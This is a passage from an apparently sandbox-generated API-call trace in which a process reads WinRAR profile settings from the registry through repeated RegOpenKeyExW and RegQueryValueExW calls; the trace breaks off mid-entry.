phkResult=0x1eb980*=0x168) returned 0x0 [0053.090] RegCloseKey (hKey=0x168) returned 0x0 [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: phkResult=0x1eb980*=0x168) returned 0x0 [0053.090] RegCloseKey (hKey=0x168) returned 0x0 [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: phkResult=0x1eb980*=0x168) returned 0x0 [0053.090] RegCloseKey (hKey=0x168) returned 0x0 [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: phkResult=0x1eb980*=0x168) returned 0x0 [0053.090] RegCloseKey (hKey=0x168) returned 0x0 [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] GetLastError () returned 0x5b0 [0053.090] SetLastError (dwErrCode=0x5b0) [0053.090] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: phkResult=0x1eb980*=0x168) returned 0x0 [0053.091] RegCloseKey (hKey=0x168) returned 0x0 [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: phkResult=0x1eb980*=0x0) returned 0x2 [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ec590 | out: phkResult=0x1ec590*=0x168) returned 0x0 [0053.091] RegQueryValueExW (in: hKey=0x168, lpValueName="Default", lpReserved=0x0, lpType=0x1ec9f4, lpData=0x1ec9f0, lpcbData=0x1eca28*=0x4 | out: lpType=0x1ec9f4*=0x4, lpData=0x1ec9f0*=0x1, lpcbData=0x1eca28*=0x4) returned 0x0 [0053.091] RegCloseKey (hKey=0x168) returned 0x0 [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] GetLastError () returned 0x5b0 [0053.091] SetLastError (dwErrCode=0x5b0) [0053.091] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.091] RegQueryValueExW (in: hKey=0x168, lpValueName="ArcName", lpReserved=0x0, lpType=0x1e9c64, lpData=0x1eb9c0, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x0, lpData=0x1eb9c0*=0x0, lpcbData=0x1e9c60*=0x1000) returned 0x2 [0053.091] RegCloseKey (hKey=0x168) returned 0x0 [0053.091] GetLastError () returned 0x5b0 [0053.092] SetLastError (dwErrCode=0x5b0) [0053.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9870 | out: phkResult=0x1e9870*=0x168) returned 0x0 [0053.092] RegQueryValueExW (in: hKey=0x168, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x200020 | out: lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x0) returned 0x2 [0053.092] RegCloseKey (hKey=0x168) returned 0x0 [0053.092] GetLastError () returned 0x5b0 [0053.092] SetLastError (dwErrCode=0x5b0) [0053.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9870 | out: phkResult=0x1e9870*=0x168) returned 0x0 [0053.092] RegQueryValueExW (in: hKey=0x168, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x2) returned 0x0 [0053.092] RegCloseKey (hKey=0x168) returned 0x0 [0053.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x16) returned 0x306810 [0053.092] GetLastError () returned 0x5b0 [0053.092] SetLastError (dwErrCode=0x5b0) [0053.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.092] RegQueryValueExW (in: hKey=0x168, lpValueName="ExclNames", lpReserved=0x0, lpType=0x1e9c64, lpData=0x306810, lpcbData=0x1e9c60*=0x16 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.092] RegCloseKey (hKey=0x168) returned 0x0 [0053.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306810 | out: hHeap=0x2e0000) returned 1 [0053.092] GetLastError () returned 0x5b0 [0053.092] SetLastError (dwErrCode=0x5b0) [0053.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9870 | out: phkResult=0x1e9870*=0x168) returned 0x0 [0053.092] RegQueryValueExW (in: hKey=0x168, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0x1e9cd0*=0x2) returned 0x0 [0053.092] RegCloseKey (hKey=0x168) returned 0x0 [0053.093] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x414) returned 0x3142d0 [0053.093] GetLastError () returned 0x5b0 [0053.093] SetLastError (dwErrCode=0x5b0) [0053.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.093] RegQueryValueExW (in: hKey=0x168, lpValueName="StoreNames", lpReserved=0x0, lpType=0x1e9c64, lpData=0x3142d0, lpcbData=0x1e9c60*=0x414 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.093] RegCloseKey (hKey=0x168) returned 0x0 [0053.093] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3142d0 | out: hHeap=0x2e0000) returned 1 [0053.093] GetLastError () returned 0x5b0 [0053.093] SetLastError (dwErrCode=0x5b0) [0053.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.093] RegQueryValueExW (in: hKey=0x168, lpValueName="Default", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x1, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.093] RegCloseKey (hKey=0x168) returned 0x0 [0053.093] GetLastError () returned 0x5b0 [0053.093] SetLastError (dwErrCode=0x5b0) [0053.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.093] RegQueryValueExW (in: hKey=0x168, lpValueName="UseRAR", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x1, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.093] RegCloseKey (hKey=0x168) returned 0x0 [0053.093] GetLastError () returned 0x5b0 [0053.093] SetLastError (dwErrCode=0x5b0) [0053.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.093] RegQueryValueExW (in: hKey=0x168, lpValueName="RAR5", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x1, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.093] RegCloseKey (hKey=0x168) returned 0x0 [0053.094] GetLastError () returned 0x5b0 [0053.094] SetLastError (dwErrCode=0x5b0) [0053.094] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.094] RegQueryValueExW (in: hKey=0x168, lpValueName="SFXModule", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2b5658, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.094] RegCloseKey (hKey=0x168) returned 0x0 [0053.094] GetLastError () returned 0x5b0 [0053.094] SetLastError (dwErrCode=0x5b0) [0053.094] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.094] RegQueryValueExW (in: hKey=0x168, lpValueName="SFX", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x0, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x2 [0053.094] RegCloseKey (hKey=0x168) returned 0x0 [0053.094] GetLastError () returned 0x5b0 [0053.094] SetLastError (dwErrCode=0x5b0) [0053.094] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.094] RegQueryValueExW (in: hKey=0x168, lpValueName="SFXIcon", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2bca62, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.094] RegCloseKey (hKey=0x168) returned 0x0 [0053.094] GetLastError () returned 0x5b0 [0053.094] SetLastError (dwErrCode=0x5b0) [0053.094] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.094] RegQueryValueExW (in: hKey=0x168, lpValueName="SFXLogo", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2bda62, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.094] RegCloseKey (hKey=0x168) returned 0x0 [0053.094] GetLastError () returned 0x5b0 [0053.095] SetLastError (dwErrCode=0x5b0) [0053.095] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.095] RegQueryValueExW (in: hKey=0x168, lpValueName="SFXElevate", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.095] RegCloseKey (hKey=0x168) returned 0x0 [0053.095] GetLastError () returned 0x5b0 [0053.095] SetLastError (dwErrCode=0x5b0) [0053.095] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.095] RegQueryValueExW (in: hKey=0x168, lpValueName="CmtFile", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2b765e, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.095] RegCloseKey (hKey=0x168) returned 0x0 [0053.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20000) returned 0x397f90 [0053.098] GetLastError () returned 0x5b0 [0053.098] SetLastError (dwErrCode=0x5b0) [0053.098] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.098] RegQueryValueExW (in: hKey=0x168, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0x1e9c64, lpData=0x397f90, lpcbData=0x1e9c60*=0x20000 | out: lpType=0x1e9c64*=0x3, lpData=0x397f90*, lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.098] RegCloseKey (hKey=0x168) returned 0x0 [0053.098] GetLastError () returned 0x5b0 [0053.098] SetLastError (dwErrCode=0x5b0) [0053.098] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.098] RegQueryValueExW (in: hKey=0x168, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0x1e9c64, lpData=0x397f90, lpcbData=0x1e9c60*=0x20000 | out: lpType=0x1e9c64*=0x0, lpData=0x397f90*=0x0, lpcbData=0x1e9c60*=0x20000) returned 0x2 [0053.098] RegCloseKey (hKey=0x168) returned 0x0 [0053.098] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10000) returned 0x3b7fa0 [0053.099] GetLastError () returned 0x5b0 [0053.099] SetLastError (dwErrCode=0x5b0) [0053.099] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.099] RegQueryValueExW (in: hKey=0x168, lpValueName="CmtTextData", lpReserved=0x0, lpType=0x1e9c64, lpData=0x3b7fa0, lpcbData=0x1e9c60*=0x10000 | out: lpType=0x1e9c64*=0x0, lpData=0x3b7fa0*=0x0, lpcbData=0x1e9c60*=0x10000) returned 0x2 [0053.099] RegCloseKey (hKey=0x168) returned 0x0 [0053.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3b7fa0, cbMultiByte=-1, lpWideCharStr=0x397f90, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0053.099] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b7fa0 | out: hHeap=0x2e0000) returned 1 [0053.099] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x397f90 | out: hHeap=0x2e0000) returned 1 [0053.099] GetLastError () returned 0x5b0 [0053.099] SetLastError (dwErrCode=0x5b0) [0053.099] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.099] RegQueryValueExW (in: hKey=0x168, lpValueName="VolumeSize", lpReserved=0x0, lpType=0x1e9c64, lpData=0x1ea6b0, lpcbData=0x1e9c60*=0x64 | out: lpType=0x1e9c64*=0x1, lpData="0", lpcbData=0x1e9c60*=0x4) returned 0x0 [0053.099] RegCloseKey (hKey=0x168) returned 0x0 [0053.099] GetLastError () returned 0x5b0 [0053.099] SetLastError (dwErrCode=0x5b0) [0053.099] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.099] RegQueryValueExW (in: hKey=0x168, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x2, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.099] RegCloseKey (hKey=0x168) returned 0x0 [0053.099] GetLastError () returned 0x5b0 [0053.099] SetLastError (dwErrCode=0x5b0) [0053.099] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="VolPause", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="OldVolNames", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="Update", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="Fresh", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="SyncFiles", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.100] RegCloseKey (hKey=0x168) returned 0x0 [0053.100] GetLastError () returned 0x5b0 [0053.100] SetLastError (dwErrCode=0x5b0) [0053.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.100] RegQueryValueExW (in: hKey=0x168, lpValueName="Overwrite", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.101] RegCloseKey (hKey=0x168) returned 0x0 [0053.101] GetLastError () returned 0x5b0 [0053.101] SetLastError (dwErrCode=0x5b0) [0053.101] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.101] RegQueryValueExW (in: hKey=0x168, lpValueName="Move", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.101] RegCloseKey (hKey=0x168) returned 0x0 [0053.101] GetLastError () returned 0x5b0 [0053.101] SetLastError (dwErrCode=0x5b0) [0053.101] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.101] RegQueryValueExW (in: hKey=0x168, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.101] RegCloseKey (hKey=0x168) returned 0x0 [0053.101] GetLastError () returned 0x5b0 [0053.101] SetLastError (dwErrCode=0x5b0) [0053.101] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.101] RegQueryValueExW (in: hKey=0x168, lpValueName="ArcWipe", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.101] RegCloseKey (hKey=0x168) returned 0x0 [0053.101] GetLastError () returned 0x5b0 [0053.101] SetLastError (dwErrCode=0x5b0) [0053.101] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.101] RegQueryValueExW (in: hKey=0x168, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.101] RegCloseKey (hKey=0x168) returned 0x0 [0053.101] GetLastError () returned 0x5b0 [0053.101] SetLastError (dwErrCode=0x5b0) [0053.101] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.101] RegQueryValueExW (in: hKey=0x168, lpValueName="Solid", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError (dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="Test", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError (dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="RecEnabled", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError (dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="RecSize", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0xfffffffd, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError (dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="Recovery", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x0, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x2 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError (dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="EraseDest", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.102] GetLastError () returned 0x5b0 [0053.102] SetLastError 